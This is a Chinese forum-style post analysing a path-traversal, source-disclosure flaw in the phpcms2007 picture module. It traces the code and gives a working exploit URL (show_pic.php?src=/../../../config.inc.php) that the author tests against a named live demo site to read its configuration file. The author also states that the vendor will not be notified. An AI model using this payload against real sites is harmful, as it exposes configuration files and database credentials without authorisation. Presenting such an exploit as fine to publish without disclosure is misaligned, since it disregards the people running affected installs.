我們知道在asp中出現得最多的還是sql注入,不過在php中由于magic_quotes_gpc為on的情況下特殊字符會被轉義,所以即使有很多時候存在sql注入也無法利用。但是php強大的文件操作功能卻使我們能體會到在asp中無法體會的樂趣,我想php自帶的文件操作函數能讓你為之心跳加快~~嘿嘿
這次我發掘的是phpcms2007的源代碼泄露漏洞
再次向Phpcms2007的開源行為致敬!!
開始吧,
findstr /s /n /i readfile *.php >readfile.txt (結果我只給出有用的)
其他的文件操作函數可以自己定義查找
module\picture\show_pic.inc.php:8:readfile($file);
跟進這個文件看看吧,呵呵,比較小,我喜歡
[Copy to clipboard] [ - ]CODE:
defined(’IN_PHPCMS’) or exit(’Access Denied’); require PHPCMS_ROOT.’/module/’.$mod.’/include/common.inc.php’; isset($src) or exit; $file = PHPCMS_ROOT.’/’.$PHPCMS[’uploaddir’].’/’.$CHA[’channeldir’].’/’.$MOD[’upload_dir’].’/’.$src; if(empty($PHP_REFERER) || !strpos($PHP_REFERER, $PHP_DOMAIN)) $file = PHPCMS_ROOT.’/images/error.jpg’; header("Content-type:image/pjpeg"); readfile($file); ?> 一路分析下。。。
先包含文件/module/’.$mod.’/include/common.inc.php
如果存在變量$src則賦予它路徑并把值交給變量$file
然后就是就進入if
這里我不看其他的文件簡單猜測下應該是判斷url路徑來源,也就是防盜鏈的功能
然后就header()一個圖片頭
呵呵,輕輕松松就readfile($file);
可以看出它沒有判斷$src的文件類型,如果我們提交一個src=*.php也會被readfile
好吧,在這里漏洞是出現了
不過由于“defined(’IN_PHPCMS’) or exit(’Access Denied’);”,所以我們是無法直接利用這個漏洞文件的
只能是在其他包含這個文件的php文件中利用
繼續吧
[Copy to clipboard] [ - ]CODE: findstr /s /i /n show_pic.inc.php *.php >show_pic.inc.php.txt
picture\show_pic.php:4:require PHPCMS_ROOT."/module/".$mod."/show_pic.inc.php"; 進去看看
[Copy to clipboard] [ - ]CODE:
require "./config.inc.php"; require "../include/common.inc.php"; require PHPCMS_ROOT."/module/".$mod."/show_pic.inc.php"; ?> 呵呵,要是register_globals為on的話就可以直接利用這個文件讀取目標文件了
那就測試吧
官方是演示站是
[Copy to clipboard] [ - ]CODE: http://demo.phpcms.cn/ 那就這樣構造url
[Copy to clipboard] [ - ]CODE: /picture/show_pic.php?src=/../../../config.inc.php 嘿嘿,讀取的就是網站的配置文件
直接訪問
[Copy to clipboard] [ - ]CODE: http://demo.phpcms.cn//picture/show_pic.php?src=/../../../config.inc.php 呵呵,猜測沒錯!!
那我們可以先訪問http://demo.phpcms.cn/抓包
用nc發包
get選項就設置為
[Copy to clipboard] [ - ]CODE: /picture/show_pic.php?src=/../../../config.inc.php 這里我就用刺猬的一個post提交工具代替了
測試結果如圖
ok,就分析到這里了
希望大家不要利用這個做違法的事,嘿嘿!!
偶是壞孩子,不通知官方了~·好孩子去通知下。
|